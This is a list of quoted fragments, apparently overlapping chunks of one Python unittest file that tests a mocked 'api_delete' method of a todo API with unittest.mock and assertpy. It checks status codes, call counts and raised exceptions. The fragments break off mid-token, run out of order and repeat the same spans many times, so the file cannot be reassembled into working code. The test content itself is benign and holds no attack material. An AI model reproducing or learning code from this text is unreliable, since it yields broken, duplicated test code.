"patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value = {\"delete_id\": todo_id, \"deleted_data\": todos[todo_id",
"mock_api: with self.assertRaises(TypeError): mock_api.api_delete() def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_0_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id =",
"2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once_with(mock_id) def test_method_api_delete_no_parameter_exception(self): with patch('src.Api.Api', autospec=True) as mock_api:",
"mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = TypeError assert_that(mock_api.api_delete).raises(TypeError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_AttributeError_when_called_with_None_exception(self): with patch('src.Api.Api', autospec=True)",
"= {\"status_code\": 408} mock_api.api_delete.side_effect = TypeError assert_that(mock_api.api_delete).raises(TypeError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_AttributeError_when_called_with_None_exception(self): with patch('src.Api.Api', autospec=True) as",
"from src.Api import Api from src.todos import todos class TestApiMonkeyPatch(unittest.TestCase): @patch('src.Api.Api', autospec=True) def",
"as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) with self.assertRaises(AssertionError): mock_api.api_delete.assert_not_called() def",
"Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_with(mock_id) def test_method_api_delete_assert_that_called_once_with_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api:",
"mock_api.api_delete(todo_id) assert_that(response).has_status_code(200) def test_method_api_delete_assert_that_response_status_code_is_not_200(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value",
"todo_id = 300 mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_TypeError_when_called_with_id_not_int_exception(self):",
"def test_method_api_delete_assert_that_not_called_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1",
"{\"delete_id\": todo_id, \"deleted_data\": todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).is_instance_of(dict) def",
"\"deleted_data\": todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).is_instance_of(dict) def test_method_api_delete_assert_that_response_has_key_delete_id_1(self): with",
"= 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) mock_api.api_delete.assert_called() def test_method_api_delete_assert_that_not_called(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id",
"= 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_with(mock_id) def test_method_api_delete_assert_that_called_once_with_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id =",
"mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete.assert_not_called() def test_method_api_delete_assert_that_called_with_id_1(self): with patch('src.Api.Api', autospec=True)",
"def test_method_api_delete_assert_that_response_deleted_data_contain_all_keys_userId_id_title_completed(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value = {\"delete_id\":",
"mock_id2.return_value = 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once() def test_method_api_delete_assert_that_called_with_id_1_exception(self): with patch('src.Api.Api', autospec=True)",
"with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_with(mock_id) def test_method_api_delete_assert_that_called_once_with_id_1_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock()",
"with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value = {\"delete_id\": todo_id, \"deleted_data\":",
"autospec=True) as mock_api: todo_id = 0 mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = ValueError",
"mock_api.api_delete(todo_id) assert_that(response).has_delete_id(1) def test_method_api_delete_assert_that_response_returns_deleted_data(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value",
"todo_id, \"deleted_data\": todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).has_status_code(200) def test_method_api_delete_assert_that_response_status_code_is_not_200(self):",
"todos class TestApiMonkeyPatch(unittest.TestCase): @patch('src.Api.Api', autospec=True) def test_method_api_delete_raises_timeout(self, mock_class): mock_id = Mock() mock_id.return_value =",
"= Mock() mock_id.return_value = 1 mock_api.api_delete.assert_not_called() def test_method_api_delete_assert_that_called_with_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api:",
"1 mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once() def",
"\"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).has_delete_id(1) def test_method_api_delete_assert_that_response_returns_deleted_data(self): with patch('src.Api.Api', autospec=True) as mock_api:",
"def test_method_api_delete_assert_that_response_returns_deleted_data(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value = {\"delete_id\":",
"def test_method_api_delete_assert_that_called_with_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1",
"= 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once() def test_method_api_delete_assert_that_called_with_id_1_exception(self): with patch('src.Api.Api', autospec=True) as",
"patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete.assert_not_called() def test_method_api_delete_assert_that_called_with_id_1(self):",
"2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once() def test_method_api_delete_assert_that_called_with_id_1_exception(self): with patch('src.Api.Api', autospec=True) as mock_api:",
"test_method_api_delete_assert_that_response_deleted_data_contain_all_keys_userId_id_title_completed(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value = {\"delete_id\": todo_id,",
"assert_that(response[\"deleted_data\"]).contains_key(\"userId\", \"id\", \"title\", \"completed\") def test_method_api_delete_assert_that_not_called_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id =",
"test_method_api_delete_assert_that_response_returns_AttributeError_when_called_with_None_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = None mock_api.api_delete.return_value = {\"status_code\": 408}",
"200} response = mock_api.api_delete(todo_id) assert_that(response).has_delete_id(1) def test_method_api_delete_assert_that_response_returns_deleted_data(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id",
"as mock_api: todo_id = 300 mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id)",
"todo_id = None mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = AttributeError assert_that(mock_api.api_delete).raises(AttributeError).when_called_with(todo_id) if __name__",
"with self.assertRaises(TypeError): mock_api.api_delete() def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_0_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 0",
"with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_id2 =",
"1 mock_api.api_delete(mock_id) with self.assertRaises(AssertionError): mock_api.api_delete.assert_not_called() def test_method_api_delete_assert_that_called_once_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id",
"mock_api.api_delete(mock_id) with self.assertRaises(AssertionError): mock_api.api_delete.assert_not_called() def test_method_api_delete_assert_that_called_once_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id =",
"= 0 mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_300_exception(self): with",
"mock_api: todo_id = 1 mock_api.api_delete.return_value = {\"status_code\": 408} response = mock_api.api_delete(todo_id) assert_that(response[\"status_code\"]).is_not_equal_to(200) def",
"= 1 mock_api.api_delete(mock_id) with self.assertRaises(AssertionError): mock_api.api_delete.assert_not_called() def test_method_api_delete_assert_that_called_once_exception(self): with patch('src.Api.Api', autospec=True) as mock_api:",
"mock_api: todo_id = None mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = AttributeError assert_that(mock_api.api_delete).raises(AttributeError).when_called_with(todo_id) if",
"import assert_that from requests.exceptions import Timeout from unittest.mock import Mock, patch from src.Api",
"Api from src.todos import todos class TestApiMonkeyPatch(unittest.TestCase): @patch('src.Api.Api', autospec=True) def test_method_api_delete_raises_timeout(self, mock_class): mock_id",
"mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) mock_api.api_delete.assert_called() def test_method_api_delete_assert_that_not_called(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock()",
"408} mock_api.api_delete.side_effect = TypeError assert_that(mock_api.api_delete).raises(TypeError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_AttributeError_when_called_with_None_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id",
"as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete.assert_not_called() def test_method_api_delete_assert_that_called_with_id_1(self): with patch('src.Api.Api',",
"self.assertRaises(Timeout): mock_class.api_delete(mock_id) def test_method_api_delete_assert_that_called_once(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value",
"= Mock() mock_id.return_value = 1 mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2)",
"= Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once_with(mock_id) def test_method_api_delete_no_parameter_exception(self): with",
"autospec=True) def test_method_api_delete_raises_timeout(self, mock_class): mock_id = Mock() mock_id.return_value = 1 mock_class.api_delete.side_effect = Timeout",
"todo_id = 1 mock_api.api_delete.return_value = {\"delete_id\": todo_id, \"deleted_data\": todos[todo_id - 1], \"status_code\": 200}",
"def test_method_api_delete_assert_that_response_status_code_is_not_200(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value = {\"status_code\":",
"= {\"delete_id\": todo_id, \"deleted_data\": todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).is_instance_of(dict)",
"from assertpy import assert_that from requests.exceptions import Timeout from unittest.mock import Mock, patch",
"with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value = {\"status_code\": 408} response",
"mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_TypeError_when_called_with_id_not_int_exception(self): with patch('src.Api.Api', autospec=True)",
"408} response = mock_api.api_delete(todo_id) assert_that(response[\"status_code\"]).is_not_equal_to(200) def test_method_api_delete_assert_that_response_is_instance_of_dict(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id",
"response = mock_api.api_delete(todo_id) assert_that(response).has_status_code(200) def test_method_api_delete_assert_that_response_status_code_is_not_200(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id =",
"= 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once() def test_method_api_delete_assert_that_called(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id =",
"todo_id = 0 mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_300_exception(self):",
"mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) mock_api.api_delete.assert_called() def test_method_api_delete_assert_that_not_called(self): with patch('src.Api.Api',",
"import todos class TestApiMonkeyPatch(unittest.TestCase): @patch('src.Api.Api', autospec=True) def test_method_api_delete_raises_timeout(self, mock_class): mock_id = Mock() mock_id.return_value",
"= ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_TypeError_when_called_with_id_not_int_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = \"1\"",
"as mock_api: todo_id = 1 mock_api.api_delete.return_value = {\"status_code\": 408} response = mock_api.api_delete(todo_id) assert_that(response[\"status_code\"]).is_not_equal_to(200)",
"def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_300_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 300 mock_api.api_delete.return_value = {\"status_code\":",
"autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) with self.assertRaises(AssertionError): mock_api.api_delete.assert_not_called()",
"mock_api.api_delete.assert_not_called() def test_method_api_delete_assert_that_called_with_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value =",
"patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value = {\"status_code\": 408} response =",
"200} response = mock_api.api_delete(todo_id) assert_that(response).is_instance_of(dict) def test_method_api_delete_assert_that_response_has_key_delete_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id",
"src.Api import Api from src.todos import todos class TestApiMonkeyPatch(unittest.TestCase): @patch('src.Api.Api', autospec=True) def test_method_api_delete_raises_timeout(self,",
"autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value = {\"delete_id\": todo_id, \"deleted_data\": todos[todo_id -",
"= mock_api.api_delete(todo_id) assert_that(response).has_delete_id(1) def test_method_api_delete_assert_that_response_returns_deleted_data(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1",
"{\"delete_id\": todo_id, \"deleted_data\": todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).is_equal_to(todos[0]) def",
"mock_id2.return_value = 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once_with(mock_id) def test_method_api_delete_no_parameter_exception(self): with patch('src.Api.Api', autospec=True)",
"def test_method_api_delete_assert_that_called(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1",
"def test_method_api_delete_assert_that_response_returns_TypeError_when_called_with_id_not_int_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = \"1\" mock_api.api_delete.return_value = {\"status_code\":",
"def test_method_api_delete_raises_timeout(self, mock_class): mock_id = Mock() mock_id.return_value = 1 mock_class.api_delete.side_effect = Timeout with",
"with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 300 mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect",
"= Mock() mock_id.return_value = 1 mock_class.api_delete.side_effect = Timeout with self.assertRaises(Timeout): mock_class.api_delete(mock_id) def test_method_api_delete_assert_that_called_once(self):",
"test_method_api_delete_assert_that_not_called_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id)",
"1 mock_class.api_delete.side_effect = Timeout with self.assertRaises(Timeout): mock_class.api_delete(mock_id) def test_method_api_delete_assert_that_called_once(self): with patch('src.Api.Api', autospec=True) as",
"todo_id, \"deleted_data\": todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).contains_key(\"userId\", \"id\", \"title\",",
"300 mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_TypeError_when_called_with_id_not_int_exception(self): with patch('src.Api.Api',",
"test_method_api_delete_assert_that_response_is_instance_of_dict(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value = {\"delete_id\": todo_id,",
"def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_0_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 0 mock_api.api_delete.return_value = {\"status_code\":",
"408} mock_api.api_delete.side_effect = ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_TypeError_when_called_with_id_not_int_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id",
"= Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) mock_api.api_delete.assert_called() def test_method_api_delete_assert_that_not_called(self): with patch('src.Api.Api', autospec=True)",
"def test_method_api_delete_assert_that_not_called(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1",
"def test_method_api_delete_assert_that_called_once_with_id_1_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1",
"1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).has_delete_id(1) def test_method_api_delete_assert_that_response_returns_deleted_data(self): with patch('src.Api.Api', autospec=True) as",
"- 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).has_delete_id(1) def test_method_api_delete_assert_that_response_returns_deleted_data(self): with patch('src.Api.Api', autospec=True)",
"mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) with self.assertRaises(AssertionError): mock_api.api_delete.assert_not_called() def test_method_api_delete_assert_that_called_once_exception(self):",
"{\"delete_id\": todo_id, \"deleted_data\": todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).has_status_code(200) def",
"= 1 mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) mock_api.api_delete.assert_called() def test_method_api_delete_assert_that_not_called(self):",
"mock_id.return_value = 1 mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) mock_api.api_delete.assert_called() def",
"mock_api: todo_id = \"1\" mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = TypeError assert_that(mock_api.api_delete).raises(TypeError).when_called_with(todo_id) def",
"Mock() mock_id.return_value = 1 mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) mock_api.api_delete.assert_called()",
"mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once() def test_method_api_delete_assert_that_called_with_id_1_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id =",
"mock_class): mock_id = Mock() mock_id.return_value = 1 mock_class.api_delete.side_effect = Timeout with self.assertRaises(Timeout): mock_class.api_delete(mock_id)",
"= {\"delete_id\": todo_id, \"deleted_data\": todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).contains_key(\"userId\",",
"mock_api.api_delete.assert_called_with(mock_id) def test_method_api_delete_assert_that_called_once_with_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value =",
"from requests.exceptions import Timeout from unittest.mock import Mock, patch from src.Api import Api",
"= 2 mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_with(mock_id) def test_method_api_delete_assert_that_called_once_with_id_1_exception(self): with patch('src.Api.Api', autospec=True) as mock_api:",
"patch('src.Api.Api', autospec=True) as mock_api: with self.assertRaises(TypeError): mock_api.api_delete() def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_0_exception(self): with patch('src.Api.Api', autospec=True) as",
"Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once() def test_method_api_delete_assert_that_called_with_id_1_exception(self): with patch('src.Api.Api',",
"autospec=True) as mock_api: todo_id = None mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = AttributeError",
"mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once() def test_method_api_delete_assert_that_called_with_id_1_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id",
"autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete.assert_not_called() def test_method_api_delete_assert_that_called_with_id_1(self): with",
"assert_that(mock_api.api_delete).raises(TypeError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_AttributeError_when_called_with_None_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = None mock_api.api_delete.return_value =",
"test_method_api_delete_assert_that_response_returns_deleted_data(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value = {\"delete_id\": todo_id,",
"mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = AttributeError assert_that(mock_api.api_delete).raises(AttributeError).when_called_with(todo_id) if __name__ == '__main__': unittest.main()",
"= {\"delete_id\": todo_id, \"deleted_data\": todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).is_equal_to(todos[0])",
"mock_id2.return_value = 2 mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_with(mock_id) def test_method_api_delete_assert_that_called_once_with_id_1_exception(self): with patch('src.Api.Api', autospec=True) as",
"mock_api.api_delete(todo_id) assert_that(response).is_instance_of(dict) def test_method_api_delete_assert_that_response_has_key_delete_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value",
"- 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).contains_key(\"userId\", \"id\", \"title\", \"completed\") def test_method_api_delete_assert_that_not_called_exception(self):",
"response = mock_api.api_delete(todo_id) assert_that(response).has_delete_id(1) def test_method_api_delete_assert_that_response_returns_deleted_data(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id =",
"= Mock() mock_id.return_value = 1 mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id2) with",
"with patch('src.Api.Api', autospec=True) as mock_api: with self.assertRaises(TypeError): mock_api.api_delete() def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_0_exception(self): with patch('src.Api.Api', autospec=True)",
"= mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).contains_key(\"userId\", \"id\", \"title\", \"completed\") def test_method_api_delete_assert_that_not_called_exception(self): with patch('src.Api.Api', autospec=True) as mock_api:",
"mock_id2.return_value = 2 mock_api.api_delete(mock_id) mock_api.api_delete(mock_id2) mock_api.api_delete.assert_called() def test_method_api_delete_assert_that_not_called(self): with patch('src.Api.Api', autospec=True) as mock_api:",
"{\"status_code\": 408} response = mock_api.api_delete(todo_id) assert_that(response[\"status_code\"]).is_not_equal_to(200) def test_method_api_delete_assert_that_response_is_instance_of_dict(self): with patch('src.Api.Api', autospec=True) as mock_api:",
"mock_id.return_value = 1 mock_id2 = Mock() mock_id2.return_value = 2 mock_api.api_delete(mock_id2) with self.assertRaises(AssertionError): mock_api.api_delete.assert_called_with(mock_id)",
"{\"delete_id\": todo_id, \"deleted_data\": todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).has_delete_id(1) def",
"assert_that(response[\"status_code\"]).is_not_equal_to(200) def test_method_api_delete_assert_that_response_is_instance_of_dict(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value =",
"def test_method_api_delete_no_parameter_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: with self.assertRaises(TypeError): mock_api.api_delete() def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_0_exception(self): with",
"1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).contains_key(\"userId\", \"id\", \"title\", \"completed\") def test_method_api_delete_assert_that_not_called_exception(self): with",
"mock_api: mock_id = Mock() mock_id.return_value = 1 mock_id2 = Mock() mock_id2.return_value = 2",
"self.assertRaises(AssertionError): mock_api.api_delete.assert_called_once_with(mock_id) def test_method_api_delete_no_parameter_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: with self.assertRaises(TypeError): mock_api.api_delete() def",
"def test_method_api_delete_assert_that_response_returns_AttributeError_when_called_with_None_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = None mock_api.api_delete.return_value = {\"status_code\":",
"mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_with(mock_id) def test_method_api_delete_assert_that_called_once_with_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id",
"test_method_api_delete_assert_that_response_returns_TypeError_when_called_with_id_not_int_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = \"1\" mock_api.api_delete.return_value = {\"status_code\": 408}",
"200} response = mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).is_equal_to(todos[0]) def test_method_api_delete_assert_that_response_deleted_data_contain_all_keys_userId_id_title_completed(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id",
"Mock, patch from src.Api import Api from src.todos import todos class TestApiMonkeyPatch(unittest.TestCase): @patch('src.Api.Api',",
"todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response).is_instance_of(dict) def test_method_api_delete_assert_that_response_has_key_delete_id_1(self): with patch('src.Api.Api',",
"response = mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).is_equal_to(todos[0]) def test_method_api_delete_assert_that_response_deleted_data_contain_all_keys_userId_id_title_completed(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id =",
"import Api from src.todos import todos class TestApiMonkeyPatch(unittest.TestCase): @patch('src.Api.Api', autospec=True) def test_method_api_delete_raises_timeout(self, mock_class):",
"- 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).is_equal_to(todos[0]) def test_method_api_delete_assert_that_response_deleted_data_contain_all_keys_userId_id_title_completed(self): with patch('src.Api.Api', autospec=True)",
"mock_id.return_value = 1 mock_class.api_delete.side_effect = Timeout with self.assertRaises(Timeout): mock_class.api_delete(mock_id) def test_method_api_delete_assert_that_called_once(self): with patch('src.Api.Api',",
"src.todos import todos class TestApiMonkeyPatch(unittest.TestCase): @patch('src.Api.Api', autospec=True) def test_method_api_delete_raises_timeout(self, mock_class): mock_id = Mock()",
"= 300 mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_TypeError_when_called_with_id_not_int_exception(self): with",
"\"deleted_data\": todos[todo_id - 1], \"status_code\": 200} response = mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).contains_key(\"userId\", \"id\", \"title\", \"completed\")",
"\"completed\") def test_method_api_delete_assert_that_not_called_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value =",
"= ValueError assert_that(mock_api.api_delete).raises(ValueError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_ValueError_when_called_with_id_300_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 300",
"mock_api.api_delete(todo_id) assert_that(response[\"deleted_data\"]).is_equal_to(todos[0]) def test_method_api_delete_assert_that_response_deleted_data_contain_all_keys_userId_id_title_completed(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value",
"Mock() mock_id.return_value = 1 mock_class.api_delete.side_effect = Timeout with self.assertRaises(Timeout): mock_class.api_delete(mock_id) def test_method_api_delete_assert_that_called_once(self): with",
"mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once_with(mock_id) def test_method_api_delete_assert_that_response_has_status_code_200(self): with patch('src.Api.Api', autospec=True) as mock_api: todo_id = 1 mock_api.api_delete.return_value",
"test_method_api_delete_assert_that_called_with_id_1_exception(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_id2",
"= \"1\" mock_api.api_delete.return_value = {\"status_code\": 408} mock_api.api_delete.side_effect = TypeError assert_that(mock_api.api_delete).raises(TypeError).when_called_with(todo_id) def test_method_api_delete_assert_that_response_returns_AttributeError_when_called_with_None_exception(self): with",
"todo_id = 1 mock_api.api_delete.return_value = {\"status_code\": 408} response = mock_api.api_delete(todo_id) assert_that(response[\"status_code\"]).is_not_equal_to(200) def test_method_api_delete_assert_that_response_is_instance_of_dict(self):",
"mock_id.return_value = 1 mock_api.api_delete.assert_not_called() def test_method_api_delete_assert_that_called_with_id_1(self): with patch('src.Api.Api', autospec=True) as mock_api: mock_id =",
"import Timeout from unittest.mock import Mock, patch from src.Api import Api from src.todos",
"autospec=True) as mock_api: mock_id = Mock() mock_id.return_value = 1 mock_api.api_delete(mock_id) mock_api.api_delete.assert_called_once() def test_method_api_delete_assert_that_called(self):",
